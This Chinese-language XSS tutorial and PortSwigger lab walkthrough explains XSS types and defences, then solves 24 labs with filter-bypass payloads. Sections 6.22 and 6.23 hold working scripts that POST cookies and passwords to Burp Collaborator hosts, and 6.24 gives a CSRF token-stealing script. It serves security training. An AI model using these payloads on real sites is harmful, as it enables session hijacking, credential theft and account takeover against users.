- 1、什麼是XSS
- 2、XSS的型別有哪些
- 3、XSS攻擊的過程和原理
- 4、XSS的防禦
- 5、可能會用到的XSS Payload資源
- 6、靶場訓練 portswigger labs
- 6.1 沒有任何編碼的反射型XSS
- 6.2 沒有任何編碼的儲存型XSS
- 6.3 從URL獲取引數寫入document的DOM型XSS
- 6.4 從URL獲取引數寫入innerHTML的DOM型XSS
- 6.5 利用jQuery的href屬性的DOM型XSS
- 6.6 利用jQuery的hashchange事件的DOM型XSS
- 6.7 尖括號編碼的反射型XSS
- 6.8 雙引號編碼的href屬性儲存型XSS
- 6.9 JavaScript字串中帶尖括號編碼的反射型XSS
- 6.10 從URL獲取引數寫到select元素內的DOM型XSS
- 6.11 AngularJS中尖括號和雙引號編碼的DOM型XSS
- 6.12 反射型 DOM XSS
- 6.13 儲存型 DOM XSS
- 6.14 大部分HTML標籤和屬性被過濾的反射型XSS
- 6.15 除了自定義標籤外所有HTML標籤都被過濾的反射型XSS
- 6.16 SVG標籤的反射型XSS
- 6.17 規範連結標籤中的反射型XSS
- 6.18 JavaScript字串中轉義了單引號和反斜槓的反射型XSS
- 6.19 JavaScript字串中轉義了單引號並對尖括號和雙引號進行html編碼的反射型XSS
- 6.20 對尖括號和雙引號HTML編碼及對單引號和反斜槓進行轉義的儲存型XSS
- 6.21 對尖括號,單雙引號,反斜槓和反引號進行模板文字unicode轉義的反射型XSS
- 6.22 利用XSS來竊取Cookies
- 6.23 利用XSS來竊取密碼
- 6.24 利用XSS執行CSRF
1、什麼是XSS
跨站指令碼攻擊(Cross Site Scripting)縮寫為CSS但與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,因此跨站指令碼攻擊縮寫為XSS。
XSS 指攻擊者可以在頁面中嵌入惡意指令碼程式碼,當正常使用者訪問該頁面時,瀏覽器會解析並執行這些惡意程式碼,從而達到攻擊使用者的目的。這些惡意程式碼通常是JavaScript。
XSS 攻擊有兩大要素:
-
攻擊者注入惡意程式碼
-
瀏覽器解析執行惡意程式碼
XSS的重點不在於跨站,而在於指令碼的攻擊。
2、XSS的型別有哪些
從攻擊程式碼的工作方式可以分為三個型別:
-
反射型(非持久型):惡意程式碼來自當前的HTTP請求,並且這些程式碼執行是一次性的,不會儲存到資料庫,直接反射回顯在頁面上。
-
儲存型(持久型):惡意程式碼會儲存到資料庫,每次訪問該頁面都將觸發XSS。
-
DOM型:也屬於反射型的一種,客戶端網頁尾本對本地DOM的惡意篡改,而使得攻擊指令碼被執行。
DOM(Document Object Model 文件物件模型)
-
其他型別XSS介紹:跨站的藝術-XSS入門與介紹
3、XSS攻擊的過程和原理
反射型XSS
反射型XSS是最簡單的跨站指令碼攻擊。當Web程式在HTTP請求中接收到的資料,以不安全的方式將該資料包含在即時響應中頁面中,也就是把使用者輸入的資料從伺服器反射給使用者瀏覽器。
要利用這個漏洞就要誘使使用者去訪問一個包含惡意程式碼的URL,當受害者點選這些專門設計的連結的時候,惡意程式碼會直接在受害者主機上的瀏覽器執行。從而盜取使用者的敏感資訊等。
攻擊過程:
- 攻擊者傳送帶有XSS惡意指令碼的連結給使用者
- 使用者點選了惡意連結,訪問了目標伺服器(正常伺服器)
- 網站將XSS同正常頁面返回到使用者瀏覽器
- 使用者瀏覽器解析執行了網頁中的XSS惡意程式碼,向惡意伺服器發起請求
- 攻擊者從自己搭建的惡意伺服器中獲取使用者提交的資訊
漏洞原因:使用者的輸入或者一些使用者可控引數未經處理地輸出到頁面上。
儲存型XSS
儲存型XSS攻擊不需要特製的連結來執行。僅僅需要提交XSS利用程式碼到一個網站上其他使用者可能訪問的地方(反射型XSS通常只在RUL中)。可能是部落格評論,使用者評論,留言板等地方。一旦使用者訪問該頁面,將自動執行。
攻擊過程:
- 攻擊者在目標伺服器(正常伺服器)上構造XSS惡意指令碼,儲存到資料庫中
- 使用者在未登入狀態下,訪問了目標伺服器,檢視存在XSS的頁面
- 網站將XSS同正常頁面返回到使用者瀏覽器
- 使用者瀏覽器解析了網頁中的XSS惡意程式碼,向惡意伺服器發起請求
- 攻擊者從自己搭建的惡意伺服器中獲取使用者提交的資訊
漏洞成因:
儲存型XSS漏洞的成因與反射型的根源類似,不同的是惡意程式碼會被儲存在伺服器中,導致其它使用者在訪問資源時也會執行惡意程式碼(XSS蠕蟲)。
DOM型跨站
透過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
在下面段程式碼中,submit按鈕的onclick事件呼叫了xsstest()函式。而在xsstest()中,修改了頁面的DOM節點,透過innerHTML把一段使用者資料當作HTML寫入到頁面中,造成了DOM型XSS攻擊。
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest() {
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<imgsrc='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
漏洞原因:
DOM型XSS是基於DOM文件物件模型的。對於瀏覽器來說,DOM文件就是一份XML文件,透過JavaScript就可以輕鬆的訪問DOM。當確認客戶端程式碼中有DOM型XSS漏洞時,誘使(釣魚)一名使用者訪問自己構造的URL,利用步驟和反射型很類似。唯一的區別就是,構造的URL引數不用傳送到伺服器端,可以達到繞過WAF、躲避服務端的檢測效果。
4、XSS的防禦
-
對使用者輸入進行驗證和過濾:在處理使用者輸入時對輸入的內容進行驗證和過濾,確保使用者輸入的內容不包含惡意指令碼。
-
對輸出資料進行編碼:在HTTP響應報文中輸出使用者可控制的資料時,對輸出進行編碼,防止它被解釋為程式碼內容從而被執行。
-
使用HTTPOnly cookie:HTTPOnly它可以防止JavaScript程式碼讀取cookie資料。
-
設定正確的Content Security Policy:設定正確的CSP,可以限制瀏覽器只載入來自可信來源的指令碼和內容。
5、可能會用到的XSS Payload資源
- OWASP:XSS Filter Evasion Cheat Sheet
- portswigger:Cross-site scripting (XSS) cheat sheet
- AwesomeXSS
- PayloadsAllTheThings /XSS Injection/
- xss payloads collect
6、靶場訓練 portswigger labs
地址:All labs | Web Security Academy (portswigger.net)
工具:火狐瀏覽器、Burp Suite
6.1 沒有任何編碼的反射型XSS
Reflected XSS into HTML context with nothing encoded
搜尋框輸入最簡單的<script>alert(/xss/)</script>
證明發現XSS漏洞的傳統方法是使用該alert()函式建立一個彈出視窗,這表明可以在給定域上執行任意JavaScript程式碼。
6.2 沒有任何編碼的儲存型XSS
Stored XSS into HTML context with nothing encoded
看到一個留言板,留言板的資料通常會被儲存到資料庫中,留言板輸入<script>alert(/xss/)</script>
提交以後,再次回到留言板的頁面,XSS被觸發了。
6.3 從URL獲取引數寫入document的DOM型XSS
DOM XSS in document.write sink using source location.search
document.write向html寫內容
search屬性是一個可讀可寫的字串,可設定或返回當前URL的查詢部分(問號?
之後的部分)。
在搜尋框輸入搜尋內容,輸入的內容被放到img標籤裡面。
嘗試將img標籤閉合"><script>alert(/xss/)</script>
,XSS被觸發了。
6.4 從URL獲取引數寫入innerHTML的DOM型XSS
DOM XSS in innerHTML sink using source location.search
innerHTML可以獲取指定DOM的HTML元素,也可以替換指定DOM的HTML元素
在搜尋框輸入<script>alert(/xss/)</script>
沒有回顯內容,原因是為了安全HTML5規定不執行innerHTML插入的<script>
標籤。輸入其他測試的內容被放到了這個span標籤裡面。
嘗試輸入其他標籤觸發js程式碼,<img src='' onerror="alert(/xss/)">
img標籤當資源載入失敗或無法使用時,觸發onerror事件。
6.5 利用jQuery的href屬性的DOM型XSS
DOM XSS in jQuery anchor href attribute sink using location.search source
Anchor 物件代表 HTML <a> 連結標籤
href可以連結到URL,也可以載入指令碼(比如 href="javascript:alert('Hello');")
提示點選back,回到上一頁,這裡剛好對應就是returnPath引數記錄的路徑。
分析一下這個backlink,returnPath中的值會被傳到了href屬性裡面。
如果將returnPath該改成我們要執行獲取cookie的js程式碼javascript:alert(doucment.cookie)
,則也會被傳進herf屬性,又由於href屬性是可以載入指令碼的,所以會執行這個js程式碼。
點選back後,果然觸發了js程式碼彈窗。但是沒有cookie的值,這可能是瀏覽器設定HTTPOnly防止讀取cookie資料。
6.6 利用jQuery的hashchange事件的DOM型XSS
DOM XSS in jQuery selector sink using a hashchange event
當URL的片段識別符號更改時,將觸發hashchange事件 (跟在#符號後面的URL部分,包括#符號)
頁面原始碼搜尋hashchange,看到這段js程式碼,它的含義是它會在瀏覽器的hash(URL中#後面的部分)發生變化時被觸發。作用是根據URL中的hash值,在頁面中查詢對應的部落格文章標題,並將該標題所在的位置滾動到可視區域內。如果找到匹配的元素(即 post 不為 null),則會呼叫 scrollIntoView() 方法,將該元素滾動到可視區域內。
官方題解,在伺服器修改body值併傳送資料包到客戶端,可以造成頁面hash值變化,觸發XSS攻擊執行print()函式。
沒搞懂這題。
6.7 尖括號編碼的反射型XSS
Reflected XSS into attribute with angle brackets HTML-encoded
搜尋框輸入"><script>alert(/xss/)</script>
,文字框輸入的內容作為input標籤的value屬性值。其中尖括號被編碼,/
同樣被編碼,括號和引號沒有被編碼。
建立滑鼠移動事件執行XSS程式碼,然後把前後的雙引號閉合 "onmouseover="alert(/xss/)
6.8 雙引號編碼的href屬性儲存型XSS
Stored XSS into anchor href attribute with double quotes HTML-encoded
在留言板輸入內容後,評論會顯示留言內容,其中輸入的網址會成為a標籤herf屬性的值,它所對應的是輸入的使用者名稱。
在Website:這一欄輸入javascript:alert(/xss/)
儲存,返回到留言板頁面,點選使用者名稱,觸發XSS彈窗。
6.9 JavaScript字串中帶尖括號編碼的反射型XSS
Reflected XSS into a JavaScript string with angle brackets HTML encoded
搜尋框輸入<script>alert(/xss/)</script>
,發現js程式碼在處理過程中將尖括號被編碼。
不使用尖括號,閉合前後的單引號,並且構造成一個完整js語句';alert(/xss/);'
,觸發XSS彈窗。
6.10 從URL獲取引數寫到select元素內的DOM型XSS
DOM XSS in document.write sink using source location.search inside a select element
下面這段js用於根據URL中的查詢引數storeId來生成一個下拉選擇框select元素。
所以在URL後面加上引數storeId,storeId=<script>alert(/xss/)</script>
,toreId的值被加入到了拉選擇框。
6.11 AngularJS中尖括號和雙引號編碼的DOM型XSS
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
AngularJS是一個由Google開發的前端JavaScript框架,AngularJS表示式寫在雙大括號內:{{ expression }},可以放入JS指令碼。
在搜尋框輸入add{{1+1}}
,效果是add2,說明雙大括號內是可以執行程式碼表示式的。
在搜尋框輸入{{constructor.constructor('alert(/xss/)')()}}
其中constructor是建構函式。
6.12 反射型 DOM XSS
Reflected DOM XSS
頁面原始碼,在searchResults.js中eval函式將響應的資料拼接字串後執行。
本題與前面的所不同,burp抓包響應的是json格式。並且會對的"
轉譯。
但是沒有對\
進行轉移,在雙引號前加\
,可以使雙引號轉義失效,\"}
破壞原本json語義,使json資料提前結束。
加上alert彈窗\"};alert(/xss/);//
,最終eval函式的值會類似如下是這樣,alert函式會被執行。
6.13 儲存型 DOM XSS
Stored DOM XSS
在留言板輸入內容後,評論會顯示留言內容,其中輸入的</script>
被過濾了。
看一下js原始碼,loadCommentsWithVulnerableEscapeHtml.js中,replace()將尖括號換成空字串,但是隻對第一個<
和>
進行替換。
在xss程式碼前插入一組<>
,即可繞過,留言是在一個<p>
標籤裡面,所以使用img標籤觸發錯誤事件<><img src=1 onerror=alert(/xss/)>
,在xss程式碼前插入一組<>即可使xss程式碼逃逸。
6.14 大部分HTML標籤和屬性被過濾的反射型XSS
Reflected XSS into HTML context with most tags and attributes blocked
本題需要繞過WAF,大部分標籤和屬性被過濾了。
burp抓包使用intuder模組,爆破哪些標籤和屬性不會被過濾。
使用Burp官方提供的 XSS cheat-sheet 分別複製其中的標籤和事件到payload。
首先列舉標籤,發現body
和custom tags
沒有被過濾。
接下來列舉事件屬性,在body標籤裡面新增變數,複製所以events到payload。
發現這些屬性沒有被過濾。
解題使用的是onresize
,利用iframe和onload屬性自動觸發onresize事件。
在exploit server,將以下playload儲存併傳送給受害者。
這個payload透過iframe的src屬性載入網址,然後在頁面載入和大小變化時執行print()。
6.15 除了自定義標籤外所有HTML標籤都被過濾的反射型XSS
Reflected XSS into HTML context with all tags blocked except custom ones
為自定義標籤設定id屬性,並像操作其他DOM元素一樣,透過JavaScript來訪問和操作這些帶有id的自定義元素,在url中使用#id可以將頁面定位到指定id元素。
直接分析官方給出的Payload:
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
這段js程式碼將瀏覽器的當前位置重定向到指定的URL,serach引數的內容是 <xss id=x onfocus=alert(document.cookie) tabindex=1>
。
這個 XSS payload中:<xss id=x
:是一個自定義的標籤,用於識別和定位該元素。onfocus=alert(document.cookie)
:在元素獲得焦點時觸發彈出一個對話方塊顯示當前cookie資訊。tabindex=1
:設定tabindex屬性為1,使用者在透過Tab鍵切換焦點時可能會先將焦點定位到這個自定義元素上。
進入exploit server,將以下playload儲存併傳送給受害者。
6.16 SVG標籤的反射型XSS
Reflected XSS with some SVG markup allowed
burp intruder爆破標籤和屬性發現svg標籤、animatetransform標籤未被過濾。
payload:<svg><animatetransform onbegin=alert(/xss/)>
,其中<svg>
標籤表示開始一個 SVG 圖形容器;<animateTransform>
元素用於定義 SVG 動畫中的變換效果;onbegin
屬性定義了動畫開始時要執行的指令碼或函式。
6.17 規範連結標籤中的反射型XSS
Reflected XSS in canonical link tag
如果一個連結元素新增了accesskey="k"屬性,那麼使用者在開啟網頁後,只需按下 Alt + K 鍵,就能夠直接訪問這個連結,而無需使用滑鼠進行點選。
官方題解'?accesskey='x'onclick='alert(1)
,在Chrome瀏覽器訪問這個url。
不太理解。
6.18 JavaScript字串中轉義了單引號和反斜槓的反射型XSS
Reflected XSS into a JavaScript string with single quote and backslash escaped
輸入"a'b/c\
測試,其中的單引號和反斜槓確實被轉義了。
輸入的<script>
的後標籤被用作閉合最前面的script標籤了。
輸入</script><script>alert(/xss/)</script>
,第一個</script>
用作閉合最前面的script標籤了。後面被script被正常執行。
6.19 JavaScript字串中轉義了單引號並對尖括號和雙引號進行html編碼的反射型XSS
Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
輸入<>"/\'
測試,發現其中的\
和'
未被編碼,但是'
被轉義。
輸入\';alert(/xss/);//
,使用反斜槓來轉義‘轉義單引號的反斜槓’,這樣單引號不會被轉義,使得js字串的單引號閉合。;
使語句完整,在alert後註釋掉後面的js程式碼,構成完整語句不報錯。
6.20 對尖括號和雙引號HTML編碼及對單引號和反斜槓進行轉義的儲存型XSS
Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
輸入a'b"c\d/e>f<
測試編碼情況,單引號和反斜槓進行了轉義。
輸入的網址被放在了onclick事件中作為字串被單引號包裹。http是為了透過網址檢查,使用html實體編碼繞過單引號轉義,'
為單引號html實體編碼。
在Website:處輸入http://'+alert(/xss/)+'
,使用實體編碼閉合原來前後的單引號,避免語法錯誤。
提交以後點選使用者名稱,觸發了彈窗。
6.21 對尖括號,單雙引號,反斜槓和反引號進行模板文字unicode轉義的反射型XSS
Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
搜尋框輸入a<b>c"d\e'f/
測試,使用了unicode轉義。
題目提示使用模板字串,JavaScript模板字串是一種特殊的字串,使用反引號
包裹起來中,使用${}
語法可以插入變數或表示式,這些變數或表示式會被求值並插入到字串中。
在搜尋框輸入${alert(/xss/)}
,出現彈窗。
6.22 利用XSS來竊取Cookies
Exploiting cross-site scripting to steal cookies
評論功能中的儲存型XSS漏洞。利用該漏洞竊取受害者的會話cookie,然後使用該cookie來冒充受害者。
官方解法:開啟Burp Collaborator Client,複製得到payloadrto83uc92e2fjo4fx4af48epwg27qxem.oastify.com
在留言板提交一下指令碼,fetch裡面的URL內容是Burp Collaborator Client複製出來的payload。
<script>
fetch('https://rto83uc92e2fjo4fx4af48epwg27qxem.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
這段js指令碼使用fetch函式向Collaborator的url傳送了一個POST請求,它將當前頁面的cookie作為請求的body傳送到了Collaborator。
回到Collaborator,看到下方HTTP互動的Request to Collaborator,發現了指令碼傳送來的請求,其中body值為我們要的cookie。
重新整理Home頁面,Burp攔截後把其中的session替換為從Collaborator拿到的session。
6.23 利用XSS來竊取密碼
Exploiting cross-site scripting to capture passwords
和上一題類似,使用Collaborator。
將下面的指令碼放到留言板,fetch裡面的URL內容是Burp Collaborator Client複製出來的payload。
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://skg9uv3atftgapvgo51gv95qnht9hz5o.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
這段js指令碼包含了兩個輸入框,一個是使用者名稱的輸入框,另一個是密碼的輸入框。當密碼輸入框的值發生改變時(onchange事件)會執行js程式碼。其中使用了fetch函式傳送了一個POST請求到Collaborator。請求的body部分使用了使用者名稱和密碼的組合進行拼接,並且使用冒號進行分隔。其中,使用者名稱是透過username.value獲取的,而密碼是透過this.value獲取的(即當前密碼輸入框的值)。
提交留言後,回到Collaborator,可以看到下方HTTP互動,指令碼傳送來的請求的內容是我們要的使用者名稱和密碼,然後冒充該使用者登入。
6.24 利用XSS執行CSRF
Exploiting XSS to perform CSRF
執行CSRF攻擊,並更改檢視部落格文章評論的人的電子郵件地址。
官方題解:進入賬戶頁面,檢視原始碼會發現在登入表單中存在一個隱藏的 CSRF token,他會在登入表單提交時被攜帶。
CSRF token是一個隨機生成的字串,它會與使用者的會話相關聯,並且被包含在每個請求中。作用是確保請求是由合法使用者發起的,而不是惡意攻擊者偽造的。
在留言板提交這段js指令碼:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
這段js首先透過XMLHttpRequest物件傳送了一個GET請求到/my-account頁面,一旦請求完成,會呼叫handleResponse函式。
在handleResponse函式中,從響應文字中使用了正規表示式提取了一個名為"csrf"、值為一個單詞字元序列的CSRF token。
接著傳送一個POST請求到/my-account/change-email頁面。在這個請求中,包含了之前獲取到的CSRF token以及要修改的郵箱地址test@test.com。
提交後回到留言介面,該指令碼就被執行了,郵箱地址被更改為test@test.com。